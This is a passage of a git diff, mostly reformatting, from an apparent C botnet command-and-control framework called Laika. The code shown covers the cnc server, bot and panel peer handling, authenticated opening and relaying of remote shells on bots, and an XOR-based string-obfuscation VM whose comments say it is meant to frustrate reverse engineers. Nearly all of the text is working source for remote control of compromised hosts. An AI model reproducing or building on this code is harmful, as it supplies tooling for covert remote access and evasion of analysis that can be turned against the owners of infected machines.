*uData) { +void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) +{ struct sWrapperData wrapper; wrapper.iter = iter; wrapper.uData = uData; /* iterate over hashmap calling our iterWrapper, pass the *real* iterator to - itemWrapper so that it can call it. probably a better way to do this + itemWrapper so that it can call it. probably a better way to do this but w/e lol */ hashmap_scan(cnc->peers, iterWrapper, &wrapper); } \ No newline at end of file diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index ff9bedc..e1af240 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -1,12 +1,13 @@ -#include "lerror.h" -#include "lmem.h" +#include "cpanel.h" #include "cnc.h" #include "cpeer.h" -#include "cpanel.h" +#include "lerror.h" +#include "lmem.h" -bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) { - struct sLaika_peer *authPeer = (struct sLaika_peer*)uData; +bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) +{ + struct sLaika_peer *authPeer = (struct sLaika_peer *)uData; /* make sure we're not sending connection information to themselves */ if (peer != authPeer) { @@ -17,7 +18,8 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) { return true; } -void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) { +void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) +{ laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES); /* write the peer's info */ @@ -31,7 +33,8 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) laikaS_endOutPacket(authPeer); } -void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) { +void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) +{ laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES); /* write the peer's pubkey */ @@ -43,34 +46,38 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) /* ================================[[ [Auth] Packet Handlers ]]================================= */ -void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; +void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, + void *uData) +{ + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; struct sLaika_cnc *cnc = pInfo->cnc; PEERTYPE type; int i; type = laikaS_readByte(&authPeer->sock); switch (type) { - case PEER_AUTH: - /* check that peer's pubkey is authenticated */ - if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount)) - LAIKA_ERROR("unauthorized panel!\n"); + case PEER_AUTH: + /* check that peer's pubkey is authenticated */ + if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount)) + LAIKA_ERROR("unauthorized panel!\n"); - /* notify cnc */ - laikaC_setPeerType(cnc, authPeer, PEER_AUTH); - LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer); + /* notify cnc */ + laikaC_setPeerType(cnc, authPeer, PEER_AUTH); + LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer); - /* they passed! send list of our peers */ - laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer); - break; - default: - LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type); + /* they passed! send list of our peers */ + laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer); + break; + default: + LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type); } } -void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { +void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, + void *uData) +{ uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_peer *peer; uint16_t cols, rows; @@ -91,8 +98,10 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_ laikaC_openShell(peer, authPeer, cols, rows); } -void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; +void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, + void *uData) +{ + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_shellInfo *shell; uint32_t id; @@ -106,15 +115,17 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT laikaC_closeShell(shell); } -void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { +void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, + void *uData) +{ uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH]; - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_peer *peer; struct sLaika_shellInfo *shell; uint32_t id; - if (sz-sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t)) + if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t)) LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n"); laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t)); diff --git a/cnc/src/cpeer.c b/cnc/src/cpeer.c index bbd941d..e09cc15 100644 --- a/cnc/src/cpeer.c +++ b/cnc/src/cpeer.c @@ -1,13 +1,14 @@ -#include "lmem.h" +#include "cpeer.h" #include "cnc.h" -#include "cpeer.h" #include "lerror.h" +#include "lmem.h" /* =======================================[[ Peer Info ]]======================================= */ -struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); +struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) +{ + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)laikaM_malloc(sz); int i; for (i = 0; i < LAIKA_MAX_SHELLS; i++) { @@ -20,29 +21,34 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { return pInfo; } -struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) { - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo)); +struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) +{ + struct sLaika_botInfo *bInfo = + (struct sLaika_botInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo)); /* TODO */ return bInfo; } -struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) { - struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo)); - +struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) +{ + struct sLaika_authInfo *aInfo = + (struct sLaika_authInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo)); + /* TODO */ return aInfo; } -void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) { +void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) +{ peer->uData = NULL; laikaM_free(pInfo); } - /* ======================================[[ Shell Info ]]======================================= */ -int findOpenShellID(struct sLaika_peerInfo *pInfo) { +int findOpenShellID(struct sLaika_peerInfo *pInfo) +{ int id; for (id = 0; id < LAIKA_MAX_SHELLS; id++) { @@ -53,8 +59,11 @@ int findOpenShellID(struct sLaika_peerInfo *pInfo) { return -1; } -struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows) { - struct sLaika_shellInfo *shell = (struct sLaika_shellInfo*)laikaM_malloc(sizeof(struct sLaika_shellInfo)); +struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, + uint16_t cols, uint16_t rows) +{ + struct sLaika_shellInfo *shell = + (struct sLaika_shellInfo *)laikaM_malloc(sizeof(struct sLaika_shellInfo)); shell->bot = bot; shell->auth = auth; @@ -88,7 +97,8 @@ struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika return shell; } -void laikaC_closeShell(struct sLaika_shellInfo *shell) { +void laikaC_closeShell(struct sLaika_shellInfo *shell) +{ /* send SHELL_CLOSE packets */ laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE); laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t)); @@ -106,7 +116,8 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell) { laikaM_free(shell); } -void laikaC_closeShells(struct sLaika_peer *peer) { +void laikaC_closeShells(struct sLaika_peer *peer) +{ struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer); int i; @@ -118,8 +129,9 @@ void laikaC_closeShells(struct sLaika_peer *peer) { /* ================================[[ [Peer] Packet Handlers ]]================================= */ -void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; +void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; struct sLaika_shellInfo *shell; uint32_t id; @@ -133,14 +145,15 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u laikaC_closeShell(shell); } -void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; struct sLaika_shellInfo *shell; uint32_t id; /* ignore packet if malformed */ - if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t)) + if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t)) return; laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); @@ -149,11 +162,11 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL) return; - laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t)); + laikaS_read(&peer->sock, (void *)buf, sz - sizeof(uint32_t)); /* forward SHELL_DATA packet to auth */ laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA); laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t)); - laikaS_write(&shell->auth->sock, buf, sz-sizeof(uint32_t)); + laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t)); laikaS_endVarPacket(shell->auth); } diff --git a/cnc/src/main.c b/cnc/src/main.c index cf52aca..7c886f1 100644 --- a/cnc/src/main.c +++ b/cnc/src/main.c @@ -1,39 +1,48 @@ -#include - -#include "ltask.h" -#include "lconfig.h" #include "cnc.h" #include "ini.h" +#include "lconfig.h" +#include "ltask.h" -#define STRING(x) #x +#include + +#define STRING(x) #x #define MACROLITSTR(x) STRING(x) struct sLaika_taskService tService; -static int iniHandler(void* user, const char* section, const char* name, const char* value) { - struct sLaika_cnc* cnc = (struct sLaika_cnc*)user; +#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0 + +static int iniHandler(void *user, const char *section, const char *name, const char *value) +{ + struct sLaika_cnc *cnc = (struct sLaika_cnc *)user; - #define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0 if (MATCH("auth", "public-key-entry")) { laikaC_addAuthKey(cnc, value); } else if (MATCH("server", "port")) { cnc->port = atoi(value); } else { - return 0; /* unknown section/name, error */ + return 0; /* unknown section/name, error */ } return 1; } -bool loadConfig(struct sLaika_cnc *cnc, char *config) { +#undef MATCH + +bool loadConfig(struct sLaika_cnc *cnc, char *config) +{ int iniRes; printf("Loading config file '%s'...\n", config); - if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) { + if ((iniRes = ini_parse(config, iniHandler, (void *)cnc)) < 0) { switch (iniRes) { - case -1: printf("Couldn't load config file '%s'!\n", config); break; - case -2: printf("Memory allocation error :/\n"); break; - default: - printf("Parser error on line %d in config file '%s'!\n", iniRes, config); + case -1: + printf("Couldn't load config file '%s'!\n", config); + break; + case -2: + printf("Memory allocation error :/\n"); + break; + default: + printf("Parser error on line %d in config file '%s'!\n", iniRes, config); } return false; } @@ -41,11 +50,14 @@ bool loadConfig(struct sLaika_cnc *cnc, char *config) { return true; } -int main(int argv, char *argc[]) { +int main(int argv, char *argc[]) +{ struct sLaika_cnc *cnc; char *configFile = "server.ini"; - printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n"); + printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." + MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n"); + cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT)); /* load config file */ @@ -56,7 +68,7 @@ int main(int argv, char *argc[]) { return 1; laikaT_initTaskService(&tService); - laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc); + laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void *)cnc); /* start cnc */ laikaC_bindServer(cnc); diff --git a/lib/include/laika.h b/lib/include/laika.h index 136a878..d855865 100644 --- a/lib/include/laika.h +++ b/lib/include/laika.h @@ -1,32 +1,36 @@ #ifndef LAIKA_LAIKA_H #define LAIKA_LAIKA_H -#include -#include -#include -#include -#include -#include - #include "lconfig.h" +#include +#include +#include +#include +#include +#include + #ifdef DEBUG -# define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout); +# define LAIKA_DEBUG(...) \ + printf("[~] " __VA_ARGS__); \ + fflush(stdout); #else -# define LAIKA_DEBUG(...) ((void)0) /* no op */ +# define LAIKA_DEBUG(...) ((void)0) /* no op */ #endif #ifndef _MSC_VER -# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline +# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline #else -# define LAIKA_FORCEINLINE __forceinline +# define LAIKA_FORCEINLINE __forceinline #endif -LAIKA_FORCEINLINE int MIN(int a, int b) { +LAIKA_FORCEINLINE int MIN(int a, int b) +{ return a < b ? a : b; } -LAIKA_FORCEINLINE int MAX(int a, int b) { +LAIKA_FORCEINLINE int MAX(int a, int b) +{ return a > b ? a : b; } diff --git a/lib/include/lbox.h b/lib/include/lbox.h index 5caba61..317ed2d 100644 --- a/lib/include/lbox.h +++ b/lib/include/lbox.h @@ -1,38 +1,43 @@ #ifndef LAIKA_BOX_H #define LAIKA_BOX_H -#include - #include "laika.h" #include "lmem.h" -#include "lvm.h" #include "lsodium.h" +#include "lvm.h" + +#include #define LAIKA_BOX_SCRATCH_SIZE 128 -#define LAIKA_BOX_HEAPSIZE 256 +#define LAIKA_BOX_HEAPSIZE 256 -enum { +enum +{ LAIKA_BOX_UNLOCKED_INDX, /* for output */ - LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */ - LAIKA_BOX_DATA_INDX /* for input */ + LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */ + LAIKA_BOX_DATA_INDX /* for input */ }; -/* Laika Box: - Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time. - Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked', - but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down. +/* Laika Box: + Laika Boxes are obfuscated storage mediums where data is only in memory for a very short + amount of time. Of course, this can be bypassed with a simple debugger and setting a breakpoint + right after the data is 'unlocked', but the game of obfuscation isn't to prevent the data from + being seen, it's to slow the reverse engineer down. - 2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful - for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable. - Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string - dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes. + 2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to + make it more painful for the reverse engineer to quickly dump boxes from memory, forcing them to + set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation + routine. This makes static analysis a painful route for string dumping. These apis, while can be + used directly, are abstracted through macros with the pre-built boxes. - Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed - to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such, - however for the time being only LAIKA_BOX_SKID_* is implemented. + Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in + `lboxconfig.h` are passed to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will + be extended in the future with more boxes and such, however for the time being only + LAIKA_BOX_SKID_* is implemented. */ -struct sLaikaB_box { +struct sLaikaB_box +{ uint8_t unlockedData[LAIKA_BOX_HEAPSIZE]; uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE]; uint8_t code[LAIKA_VM_CODESIZE]; @@ -40,74 +45,74 @@ struct sLaikaB_box { /* ======================================[[ Box Var API ]]====================================== */ -#define LAIKA_BOX_STARTVAR(type, ident, box, data) \ - uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \ - type ident; \ - struct sLaikaB_box __box##ident = box; \ - laikaB_unlock(&__box##ident, __data##ident); \ +#define LAIKA_BOX_STARTVAR(type, ident, box, data) \ + uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \ + type ident; \ + struct sLaikaB_box __box##ident = box; \ + laikaB_unlock(&__box##ident, __data##ident); \ ident = (type)__box##ident.unlockedData; -#define LAIKA_BOX_ENDVAR(ident) \ - laikaB_lock(&__box##ident); +#define LAIKA_BOX_ENDVAR(ident) laikaB_lock(&__box##ident); #ifdef LAIKA_OBFUSCATE -# define LAIKA_BOX_SKID_START(type, ident, strmacro) \ - LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro) -# define LAIKA_BOX_SKID_END(ident) \ - LAIKA_BOX_ENDVAR(ident) +# define LAIKA_BOX_SKID_START(type, ident, strmacro) \ + LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro) +# define LAIKA_BOX_SKID_END(ident) LAIKA_BOX_ENDVAR(ident) #else /* disable obfuscations */ -# define LAIKA_BOX_SKID_START(type, ident, strmacro) \ - type ident = strmacro; -# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */ +# define LAIKA_BOX_SKID_START(type, ident, strmacro) type ident = strmacro; +# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */ #endif /* ======================================[[ Laika Boxes ]]====================================== */ /* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */ -#define LAIKA_BOX_SKID(_key) { \ - .unlockedData = {0}, /* reserved */ \ - .code = { /* stack layout: \ - [0] - unlockedData (ptr) \ - [1] - data (ptr) \ - [2] - key (uint8_t) \ - [3] - working data (uint8_t) \ - */ \ - LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \ - LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \ - LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \ - /* LOOP_START */ \ - LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \ - LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \ - LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \ - LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \ - LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \ - LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \ - OP_EXIT \ - } \ -} +#define LAIKA_BOX_SKID(_key) \ + { \ + .unlockedData = {0}, /* reserved */ \ + .code = { /* stack layout: \ + [0] - unlockedData (ptr) \ + [1] - data (ptr) \ + [2] - key (uint8_t) \ + [3] - working data (uint8_t) \ + */ \ + LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \ + LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \ + LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), /* LOOP_START */ \ + LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \ + LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \ + LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \ + LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \ + LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \ + LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \ + OP_EXIT \ + } \ + } /* ======================================[[ Raw Box API ]]====================================== */ -LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) { +LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data) +{ struct sLaikaV_vm vm = { - /* boxes have 2 reserved constants, [0] for the output, [1] for the input */ - .constList = { - [LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData), - [LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch), - [LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data), - }, - .code = {0}, - .stack = {0}, + /* boxes have 2 reserved constants, [0] for the output, [1] for the input */ + .constList = + { + [LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData), + [LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch), + [LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data), + }, + .code = { 0 }, + .stack = { 0 }, .pc = 0 }; memcpy(vm.code, box->code, LAIKA_VM_CODESIZE); laikaV_execute(&vm); - return (void*)box->unlockedData; + return (void *)box->unlockedData; } /* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */ -LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) { +LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) +{ sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE); sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE); } diff --git a/lib/include/lerror.h b/lib/include/lerror.h index c1edddb..7eb4454 100644 --- a/lib/include/lerror.h +++ b/lib/include/lerror.h @@ -1,18 +1,23 @@ #ifndef LAIKA_ERROR_H #define LAIKA_ERROR_H -#include -#include - #include "laika.h" +#include +#include + /* defines errorstack size */ #define LAIKA_MAXERRORS 32 /* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */ -#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) { -#define LAIKA_CATCH } else { -#define LAIKA_TRYEND } --eLaika_errIndx; +#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) { +#define LAIKA_CATCH \ + } \ + else \ + { +#define LAIKA_TRYEND \ + } \ + --eLaika_errIndx; /* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */ #define LAIKA_ISPROTECTED (eLaika_errIndx >= 0) @@ -23,24 +28,25 @@ arguments are ignored. */ #ifndef DEBUG -#define LAIKA_ERROR(...) do { \ - if (LAIKA_ISPROTECTED) \ - longjmp(eLaika_errStack[eLaika_errIndx], 1); \ - else \ - exit(1); \ -} while(0); -#define LAIKA_WARN(...) ((void)0) /* no op */ +# define LAIKA_ERROR(...) \ + do { \ + if (LAIKA_ISPROTECTED) \ + longjmp(eLaika_errStack[eLaika_errIndx], 1); \ + else \ + exit(1); \ + } while (0); +# define LAIKA_WARN(...) ((void)0) /* no op */ #else -#define LAIKA_ERROR(...) do { \ - printf("[ERROR] : " __VA_ARGS__); \ - if (LAIKA_ISPROTECTED) \ - longjmp(eLaika_errStack[eLaika_errIndx], 1); \ - else \ - exit(1); \ -} while(0); +# define LAIKA_ERROR(...) \ + do { \ + printf("[ERROR] : " __VA_ARGS__); \ + if (LAIKA_ISPROTECTED) \ + longjmp(eLaika_errStack[eLaika_errIndx], 1); \ + else \ + exit(1); \ + } while (0); -#define LAIKA_WARN(...) \ - printf("[WARN] : " __VA_ARGS__); +# define LAIKA_WARN(...) printf("[WARN] : " __VA_ARGS__); #endif extern int eLaika_errIndx; diff --git a/lib/include/lmem.h b/lib/include/lmem.h index 33f741b..7520860 100644 --- a/lib/include/lmem.h +++ b/lib/include/lmem.h @@ -7,37 +7,39 @@ /* microsoft strikes again with their lack of support for VLAs */ #if _MSC_VER -#define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type)*sz); -#define ENDVLA(var) laikaM_free(var); +# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz); +# define ENDVLA(var) laikaM_free(var); #else -#define VLA(type, var, sz) type var[sz]; -#define ENDVLA(var) ((void)0) /* no op */ +# define VLA(type, var, sz) type var[sz]; +# define ENDVLA(var) ((void)0) /* no op */ #endif #define laikaM_malloc(sz) laikaM_realloc(NULL, sz) -#define laikaM_free(buf) laikaM_realloc(buf, 0) +#define laikaM_free(buf) laikaM_realloc(buf, 0) -#define laikaM_growarray(type, buf, needed, count, capacity) \ - if (count + needed >= capacity || buf == NULL) { \ - capacity = (capacity + needed) * GROW_FACTOR; \ - buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \ +#define laikaM_growarray(type, buf, needed, count, capacity) \ + if (count + needed >= capacity || buf == NULL) { \ + capacity = (capacity + needed) * GROW_FACTOR; \ + buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \ } -/* moves array elements above indx down by numElem, removing numElem elements at indx */ -#define laikaM_rmvarray(buf, count, indx, numElem) do { \ - int _i, _sz = ((count-indx)-numElem); \ - for (_i = 0; _i < _sz; _i++) \ - buf[indx+_i] = buf[indx+numElem+_i]; \ - count -= numElem; \ -} while(0); +/* moves array elements above indx down by numElem, removing numElem elements at indx */ +#define laikaM_rmvarray(buf, count, indx, numElem) \ + do { \ + int _i, _sz = ((count - indx) - numElem); \ + for (_i = 0; _i < _sz; _i++) \ + buf[indx + _i] = buf[indx + numElem + _i]; \ + count -= numElem; \ + } while (0); -/* moves array elements above indx up by numElem, inserting numElem elements at indx */ -#define laikaM_insertarray(buf, count, indx, numElem) do { \ - int _i; \ - for (_i = count; _i > indx; _i--) \ - buf[_i] = buf[_i-1]; \ - count += numElem; \ -} while(0); +/* moves array elements above indx up by numElem, inserting numElem elements at indx */ +#define laikaM_insertarray(buf, count, indx, numElem) \ + do { \ + int _i; \ + for (_i = count; _i > indx; _i--) \ + buf[_i] = buf[_i - 1]; \ + count += numElem; \ + } while (0); void *laikaM_realloc(void *buf, size_t sz); diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 7dfc4f4..5c53780 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -3,101 +3,108 @@ #include -#define LAIKA_MAGIC "LAI\x12" -#define LAIKA_MAGICLEN 4 +#define LAIKA_MAGIC "LAI\x12" +#define LAIKA_MAGICLEN 4 -#define LAIKA_MAX_PKTSIZE 4096 +#define LAIKA_MAX_PKTSIZE 4096 -#define LAIKA_HOSTNAME_LEN 64 -#define LAIKA_IPSTR_LEN 64 -#define LAIKA_INET_LEN 22 +#define LAIKA_HOSTNAME_LEN 64 +#define LAIKA_IPSTR_LEN 64 +#define LAIKA_INET_LEN 22 #define LAIKA_SHELL_DATA_MAX_LENGTH 2048 -#define LAIKA_MAX_SHELLS 16 - -/* first handshake between peer & cnc works as so: - - peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip - - after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted - - cnc responds with LAIKAPKT_HANDSHAKE_RES - - if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent -*/ - -/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true) - LAIKAPKT_ID pktID; -- plain text - uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text - uint8_t body[pktSize + crypto_secretbox_MACBYTES]; 